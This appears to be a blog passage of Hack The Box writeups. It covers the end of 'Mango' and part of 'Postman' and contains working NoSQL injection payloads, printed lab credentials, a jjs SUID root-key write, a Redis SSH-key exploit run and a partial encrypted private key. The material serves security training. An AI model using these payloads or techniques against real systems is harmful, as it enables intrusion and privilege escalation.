+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Hostname '10.10.10.162' does not match certificate's names: staging-order.mango.htb
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7863 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2020-08-27 14:15:13 (GMT-5) (1070 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

A gobuster scan against the HTTPS service was slso run using the same common.txt wordlist, returning 3 entries that did not show as a 403 status.

/analytics.php (Status: 200) [Size: 397607]
/index.php (Status: 200) [Size: 5152]
/index.php (Status: 200) [Size: 5152]

Going to the analytics.php page presents an interesting BI/Analytics page, shown below:

Poking around a bit, there seemed to be a number of potential attack paths, such as attempting commmand injection via an imported js or csv file with the import local file function, or potentially trying SQL or NoSQL injection (thinking the host might have a mongoDB backend) in the main index.php page. However, none of these seemed easily viable, so further enumeration was done. Viewing the options within the page as well as the page source, we have an idea the the application or part of the applications functionality may be FlexMonster, but there seems no obvious way to definitively determine that at the moment.

We can recall a message from the nikto scan on port 443 that the cert CN staging-order.mango.htb did not match the site domain. We can add the following to our /etc/hosts file and see what happens:

#remove after HTB mango
10.10.10.162    mango.htb
10.10.10.162    staging-order.mango.htb

When going back to the HTTPS site, we notice and interesting error on the analytics page when using the https://staging-order.mango.htb/analytics.php URL. [The main search base URL at https://staging-order.mango.htb/] seems fine, however.

Even more interestingly, when going to the URL http://staging-order.mango.htb/ without HTTPS, we get a new page loaded, implying that some apache virutal hosts or ACL restrictions are in place. The new page is shown below.

From here we can run another web crawler enumeration script and nikto against the new URL. Ffuf was run with common.txt and found the following results:

home.php                [Status: 302, Size: 0, Words: 1, Lines: 1]
index.php               [Status: 200, Size: 4022, Words: 447, Lines: 210]
index.php               [Status: 200, Size: 4022, Words: 447, Lines: 210]
vendor                  [Status: 301, Size: 335, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://staging-order.mango.htb/vendor/FUZZ
[INFO] Scanning: http://staging-order.mango.htb/vendor/FUZZ
composer                [Status: 301, Size: 344, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://staging-order.mango.htb/vendor/composer/FUZZ
[INFO] Scanning: http://staging-order.mango.htb/vendor/composer/FUZZ
LICENSE                 [Status: 200, Size: 2918, Words: 443, Lines: 57]

http://staging-order.mango.htb/vendor/composer/LICENSE shows a license for ‘Composer’ but nothing immediately comes of that.

Because of the name of the box, and the json files found earlier, it’s likely that the backend database giving login information is MongoDB, or some other type of NoSQL DB. We can begin by trying some basic NoSQL injection payloads. Some great resources can be found from HatTricker here and from the PayloadAllTheThings github repo here

It’s a good idea to fire up burp suite for this, so i’ll do that, adding http://staging-order.mango.htb/ exclusively to the scope. Initially an entry of ' || 1==1// was tried in both the username and password fields on the page in the browser, with no luck. Next, the username and password fields were each filled with [$ne]=doesnotexist, like shown below, which was also successful.

We can see from burp that the request is a POST, so we send that request to the Repeater and modify and resend it. Trying to place these queries in the POST request body content and send them also results in failure, refreshing the page and showing a 200 OK HTTP status as the login page reloads. The following variations were tried in burp unsuccessfully:

username=' || 1==1//&password=' || 1==1//&login=login

username=[$ne]=doesnotexist&password=[$ne]=doesnotexist&login=login

However, I then noticed a detail I’d overlooked on the original payload - the not equals evaluator $[ne] belongs before the =, right next to the field name. Otherwise the statement will fail to evaluate properly. Removing the equals sign right after the username and password field name results in a request body like so:

username[$ne]=doesnotexist&password[$ne]=doesnotexist&login=login

Sending this request does indeed appear to be successful, giving the following 302 Found status on a new page, home.php. The HTTP Raw Reponse headers as well as a screenshot of the burp repeater request are shown below. (These were run the day after rooting the host to include in the writeup, in case you were wondering about the date mistmatch.)

HTTP/1.1 302 Found
Date: Fri, 28 Aug 2020 16:41:16 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: home.php
Content-Length: 4022
Connection: close
Content-Type: text/html; charset=UTF-8

Sending this to the browser, we see a successful login, with home.php shown below.

There doesn’t seem to be much here however, except the admin@mango.htb address which is notable. Viewing the page source and running another gobuster web crawl from here did not provide much of use either.

Now that we know the DB is vulnerable to NoSQL injection however, let’s see if we can use that to pull values from the database. I found a good python script to do this at the github URL below. Let’s clone this repository, check the usage info, then run the script.

https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration

So in the below command we are specifying the fields and HTTP request type which we know from intercepting the requests in burp. Here we are telling the script to try and inject NoSQL in the username field to try and enumerate/fuzz values. This is possible in certain MongoDB configs where an injection can be used to evaluate true or false statements, much like blind SQL injections in SQLMap. Thus one by one we get characters for valid usernames.

initinfosec@kali:/0ps/tooling/nosql-mongodb-sqli-enum$ python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/index.php -up username -pp password -op login=login -ep username -m POST

And the end results once finished:

2 username(s) found:
admin
mango

We’ll perform the same thing for the password field now:

initinfosec@kali:/0ps/tooling/nosql-mongodb-sqli-enum$ python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/index.php -up username -pp password -op login=login -ep password -m POST

And again the results:

2 password(s) found:
h3mXK8RhU~f{]f5H
t9KcS3>!0B#2

So we have 2 possibilities to try, and quickly find that admin / t9KcS3>!0B#2 worked. We’re shown the following:

gaining an initial foothold

Trying those credentials for ssh did not work, however using “mango / h3mXK8RhU~f{]f5H” does result in a successful shell as the mango user, as shown below.

Lateral Movement

We see running sudo -l that the mango user does not have permissions to run sudo. Viewing the /etc/passwd file also confirms that the admin user exists:

admin:x:4000000000:1001:,,,:/home/admin/:/bin/sh

While we couldn’t SSH as the user, that user may have been disallowed from SSH loogin by the SSH config on the system. Let’s try to swithc user with the password we gained earlier.

Great, so we see that this worked, and that we have access to the user.txt flag now.

Privilege Escalation

PrivEsc Enumeration

Now as the user admin, let’s proceed to see how we can get root. Running sudo -l and crontab -l we see we do not have permissions to run sudo, and no crontabs for the user. Next let’s query for root SUID binaries that we might be able to run as our standard user, have the process execute as root, and abuse the functionality to gain a shell.

admin@mango:/home/admin$ find /* -user root -perm -4000 -print 2>/dev/null | grep -v snap
/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign

Two items quickly stick out as nonstandard to me - run-mailcap, and jjs. Let’s start by looking at get-mailcap.

Gaining a root shell

A quick search for run-mailcap on GTFObins shows that we can likely abuse the binary functionality to gain a shell from the application - let’s give it a try. Viewing /etc/hosts and then entering !/bin/sh on the “less” screen does pop a shell, but only one as our current user, unfortunately.

admin@mango:/home/admin$ /usr/bin/run-mailcap --action=view /etc/hosts
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ exit

It’s possible that run-mailcap or less has been updated, or there’s some other defence/protection in play. Let’s look at jjs next.

We also see an entry for jjs on GFTObins

Running the following command should spawn a shell, if successful:

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

We can also see that jjs is linked to our SUID binary’s absolute path.

admin@mango:/home/admin$ which jjs
/usr/bin/jjs
admin@mango:/home/admin$ ls -ltr /usr/bin/jjs
lrwxrwxrwx 1 root root 21 Sep 27  2019 /usr/bin/jjs -> /etc/alternatives/jjs
admin@mango:/home/admin$ ls -ltr /etc/alternatives/jjs
lrwxrwxrwx 1 root root 42 Sep 27  2019 /etc/alternatives/jjs -> /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

However, trying this seems to result in an unresponsive shell, with the process needing to be killed.

admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs                                                                                                                      
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh </dev/pts/0 >/dev/pts/0 2>/dev/pts/0').waitFor()
$ 

A few other methods are tried on the GFTOBins page, with little success. We can grab the /etc/shadow password from a read function within jjs successfully, meaning we could use unshadow to combine both the passwd and shadow files to try to crack the root password, but this would be a sub-optimal route. Additionally, the reverse shell method was tried, resulting in a shell that immediately died.

However, there is a write function that exists for JJS, so we have a few options:

add an entry to /etc/passwd with a new user with UID 0/root permissions

This method would nice and effective but from the syntax of the command in GFTObins, there’s no garuntee it wouldn’t overwrite the entire file. So it’s best to probably create a completely new file. Which leaves us with at two or three least other options using the jjs’s write function:

Create a script to spawn a reverse shell and then again use the write functionality to add a root cron job to run it
Create an SSH key locally and transfer the public key to root’s .ssh folder to see if that would allow for login
Write a file to spawn a local or reverse shell and have another jjs command perform an execution of the file.

Due to the seeming instability of the jjs execution function with reverse and local shells in the prior methods, one of the former two methods are probably more ideal. The cron job option is definitely viable, but the SSH method seems a little more straightforward, so let’s go with that.

Sense the login needs to be root, the key needs to be generated as a root user, and thus this needs to be done on our kali system obviously. We can generate the keypair with:

initinfosec@kali:/0ps/HTB/mango/loot$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/initinfosec/.ssh/id_rsa): /0ps/HTB/mango/loot/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /0ps/HTB/mango/loot/id_rsa
Your public key has been saved in /0ps/HTB/mango/loot/id_rsa.pub
The key fingerprint is:
SHA256:4OLUmkQ7u0gN6FmVNC7twJWv3bNbYm4qRU0x4oNTdnM initinfosec@kali
The key's randomart image is:
+---[RSA 3072]----+
|     +.+ =.E     |
|  . =.B o.+      |
|   +.Booo        |
| . .=+.+..       |
|. ..*.* S        |
|. o* B o o       |
| o. * .  oo.     |
| . . o  ooo      |
|  . . ..oo.      |
+----[SHA256]-----+
initinfosec@kali:/0ps/HTB/mango/loot$ 

Now let’s copy the contents of the key, and then form our jjs write command, making sure to save the file as /root/.ssh/authorized_keys so that the server will accept the key.

echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDUcwhbMNQDaiyfOmbDqsJzKXMEtsUmxYNg9Gh2yiigzMqR5wTDpr3D74U3fO1PJ5tsahTc7WuAMnmhkaKl9oQRBhiqAl/6Pa39VeK8fKKxL9ooCvVP23k+PEKIc9oI9iKff9mqYf8dk3l32YJOa9j/boSYVcTGTMc7NgqkWokvjo7V5a1o9p44YM0+QI9s1t00Jqj9AgZnHt4zbEJaE4G6Inom8w/ZljBRG1OkorvdGov4PBOxmlsI0r3ZbHjSfTqsUvKZkvG2gQDSdUHU1sM+Mz8FS+1dpyU3VEG6EugjbiESUN7NnrFSK1y6x5nnLVA5RCy7LMiaJu94icFJ6nnbOEQ5TP05KNazdiTMOp/3KeG0jbQiYXScAyfVv7iJuAqrnWGwAarGVRwIIG6kAxZxXFBR1qve0Bz5HfET9bcbsyyJBSyGIGMpgk2FfcbdjMQi1TgAZVMiEeyEFw75ReLfnNlxbTSlUYGEgJ5qYqKsqJBD5PjLFFFQ7vbGw3T3E0E=");
fw.close();' | jjs

As shown below, the command seemed to execute with no error:

And now to test if it worked, let’s connect from kali to the target:

We see that it was successful, allowing us to gain root access to the Mango host by exploiting an SUID applications functions to escalate our privileges.

Conclusion

Recommended Remediations

Harden the mango backend database to better santize user input to avoid NoSQL injection and information leakage.
Credentials for different services should ideally vary even for the same accounts. SSH access credentials should differ from those used in the website database - password resuse proves a large security risk and enables much easier access and lateral movment for potential malicious actors.
Audit and review permissions on the system, such as the SUID binary jjs exploited to gain root permissions on the assessment. Consider removing the binary if not necessary, or restricting permissions so that the jjs application is not a root SUID privileged binary, if possible.

All for now; until next time.

~@initinfosec

Pwning Postman - HacktheBox 'Postman' writeup

Thu, 27 Aug 2020 11:00:00 -0500

‘Pwning Postman’ - ‘Postman’ HTB Writeup

Host Information

Hostname	IP Address	Operating System	Difficulty Level
Postman	10.10.10.160	Linux	Easy

view all writeups here

[toc]

‘Pwning Postman’ - ‘Postman’ HTB Writeup

Initial Recon

nmap information

An initial full TCP nmap scan of the host was run with the followiong command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/HTB/postman/scans/_full_tcp_nmap.txt" -oX "/HTB/postman/scans/xml/_full_tcp_nmap.xml" 10.10.10.160

The following ports were revealed open on the target, followed by the full nmap script ouput below:

10.10.10.160

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp	open	http	Apache httpd 2.4.29
6379/tcp	open	redis	Redis key-value store 4.0.9
10000/tcp	open	http	MiniServ 1.910

nmap scan output

# Nmap 7.80 scan initiated Thu Aug 27 09:02:08 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/postman/scans/_full_tcp_nmap.txt -oX /0ps/HTB/postman/scans/xml/_full_tcp_nmap.xml 10.10.10.160

Nmap scan report for 10.10.10.160
Host is up, received user-set (0.031s latency).
Scanned at 2020-08-27 09:02:09 CDT for 86s
Not shown: 65531 closed ports
Reason: 65531 resets
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
|   256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   syn-ack ttl 63 Redis key-value store 4.0.9
10000/tcp open  http    syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.1 (94%), Linux 3.2 (94%), Linux 3.18 (93%), Linux 3.16 (92%), Linux 2.6.32 (92%), ASUS RT-N56U WAP (Linux 3.4) (92%), Android 4.1.2 (92%), Adtran 424RG FTTH gateway (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/27%OT=22%CT=1%CU=42265%PV=Y%DS=2%DC=T%G=Y%TM=5F47BD3
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=109%TI=Z%CI=Z%TS=A)OPS(O1=M
OS:54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%
OS:O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%
OS:DF=Y%TG=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNN
OS:SNW7%CC=Y%Q=)T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)T1(R=Y%DF=Y%T=40%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%TG=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T
OS:5(R=N)T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=O%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)U1(R=N)U1(R=Y%DF=N%T=40%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%TG=40%CD=S)IE(R=Y
OS:%DFI=N%T=40%CD=S)

Uptime guess: 2.560 days (since Mon Aug 24 19:37:09 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   30.09 ms 10.10.14.1
2   30.11 ms 10.10.10.160

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 27 09:03:35 2020 -- 1 IP address (1 host up) scanned in 87.39 seconds

nmap scan observations

We can see that the target is Linux, likely Ubuntu based on the OS detection scripts from nmap and the banner grab from the SSH Service. Four ports/services are shown externally visible: An HTTP service open on the standard port 80 running Apache 2.4.29, OpenSSH 7.6p1 was found running on the standard TCP port 22. Additionally, a service showing as ‘Redis key-value store 4.0.9’ is running TCP port 637. Finally, a service labeled ‘MiniServ 1.910’ is running over HTTP on port 10000.

Webmin/MiniServ enumeration

Let’s begin with enumeration of the service running on TCP port 10000. Services labeled as MiniServ on service scans often show to be Webmin in the browser, which is confirmed by going to the URL https://10.10.10.160:10000/, as we’re presented with a Webmin login page, shown below.

We can see a robots.txt file found on the host, with a fairly generic/all-encompassing disallow statement, disallowing everything at the / root directory of the site for all user agents.

User-agent: *
Disallow: /

Viewing the source of the login page does not give any obvious hints to credentials. From a quick websearch we can see that the common credentials are either a username of root and the corresponding root password of the host, or ‘admin’ as a username. A few common combinations such as “admin/admin”, “root/root”, “admin/password”, “root/password” are tried with no success.

Two Remote Code Execution (RCE) exploits are found that might apply to this version of Webmin, but they both appear to require authentication, which we do not yet have. Reasoning that we might be able to exploit redis or another service as an entry point or for providing credentials to webmin, let’s move on.

redis enumeration

Some further enumeration can be briefly done with an nmap NSE script, as follows:

initinfosec@kali:/HTB/postman/scans$ nmap --script redis-info -sV -p 6379 10.10.10.160
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-27 11:19 CDT
Nmap scan report for 10.10.10.160
Host is up (0.031s latency).

PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 4.0.9 (64 bits)
| redis-info: 
|   Version: 4.0.9
|   Operating System: Linux 4.15.0-58-generic x86_64
|   Architecture: 64 bits
|   Process ID: 609
|   Used CPU (sys): 7.14
|   Used CPU (user): 2.32
|   Connected clients: 1
|   Connected slaves: 0
|   Used memory: 822.24K
|   Role: master
|   Bind addresses: 
|     0.0.0.0
|     ::1
|   Client connections: 
|_    10.10.14.12

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds

It appears the redis-cli package would be handy for further enumeration and potential exploitation, so let’s install that with sudo apt-get install redis-tools. We can determine if redis requires authentication by querying the server for info. If it supplies that information, the service does not appear to be configured to require authentication to query/use the service. If a simple line about AUTH being required is returned, we can conclude we need credentials.

initinfosec@kali:/HTB/postman/scans$ redis-cli -h 10.10.10.160
10.10.10.160:6379> info
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 4.15.0-58-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:7.4.0
process_id:609
run_id:1a17282a30f91f89167059a15378a134849236be
tcp_port:6379
uptime_in_seconds:8437
uptime_in_days:0
hz:10
lru_clock:4709977
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0

[trimmed]


# Stats
total_connections_received:23
total_commands_processed:26
instantaneous_ops_per_sec:0
total_net_input_bytes:2668
total_net_output_bytes:18823
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication
role:master
connected_slaves:0
master_replid:99af742ed612487a642606222c5b9abe8d4c6ba0
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

[trimmed]

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=0,expires=0,avg_ttl=0
10.10.10.160:6379>

Great, so we know the server doesn’t require authentication to use. We also see the location of redis with the line 166) "/var/lib/redis", so it’s quite possible the system has a ‘redis’ user at that location. A quick websearch seems to indicate the the redis user is on systems with a redis install and the config file will tell you the location of the user’s home directory, so that’s good to know.

gaining an initial foothold

exploiting redis

Knowing the redis opens up the possibility of some potential exploits, either using redis to place and SSH key for the redis user and trying to authenticate with it if the SSH config allows, or potentially writing a file to a webserver to try to get a shell.

One such exploit can be found here on GitHub. Let’s clone the github repo to our exploits directory. Once done, we can view the code and learn the termcolor module needs to be installed, which can be done with pip2 install termcolor.

Once done, we see the format of the exploit command as: exploit.py \ \</code>. However reading through the code we also see the default placement for the key file is in the '/home/\/.ssh' directory, which is not what we want. So we'll modify the exploit slightly, with the code shown below.

 39                 cmd4 = cmd1 + ' config set  dir' + " /var/lib/"+username+"/.ssh/"

Once done, we can run the exploit, finding it does indeed give us a shell, as shown below:

initinfosec@kali:/HTB/postman/exploit$ python redis.py 10.10.10.160 redis
        *******************************************************************
        * [+] [Exploit] Exploiting misconfigured REDIS SERVER*
        * [+] AVINASH KUMAR THAPA aka "-Acid"
        *******************************************************************


         SSH Keys Need to be Generated
Generating public/private rsa key pair.
Enter file in which to save the key (/home/initinfosec/.ssh/id_rsa): /HTB/postman/exploit/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /HTB/postman/exploit/id_rsa
Your public key has been saved in /HTB/postman/exploit/id_rsa.pub
The key fingerprint is:
SHA256:jihAY2lLZePrbLGMybN7TuTICF4SI7J6yyqWPmoyU5E acid_creative
The key's randomart image is:
+---[RSA 3072]----+
|   +             |
|  = .            |
|oX o             |
|B.E .            |
|+o *    S        |
|B.& o. o         |
|oX+O. . .        |
|=B=+             |
|XBB.             |
+----[SHA256]-----+
         Keys Generated Successfully
OK
OK
OK
OK
OK
OK
        You'll get shell in sometime..Thanks for your patience
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1
redis@Postman:~$

{More information on enumerating and testing redis can be found at this great resource}

It appears the user.txt file is in Matt’s home directory, so let’s see if we can laterally move to that user.

Lateral Movement

We see running both sudo -v and crontab -l that we do not have either a crontab or sudo permissions in our current user. Browsing around the filesystem a bit, we eventually find a bakcup file of an private RSA SSH key, seemingly owned by Matt, as shown below:

edis@Postman:/opt$ ls
id_rsa.bak
redis@Postman:/opt$ ls -ltra
total 12
drwxr-xr-x 22 root root 4096 Aug 25  2019 ..
-rwxr-xr-x  1 Matt Matt 1743 Aug 26  2019 id_rsa.bak
drwxr-xr-x  2 root root 4096 Sep 11  2019 .
redis@Postman:/opt$ cat id_rsa.bak 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
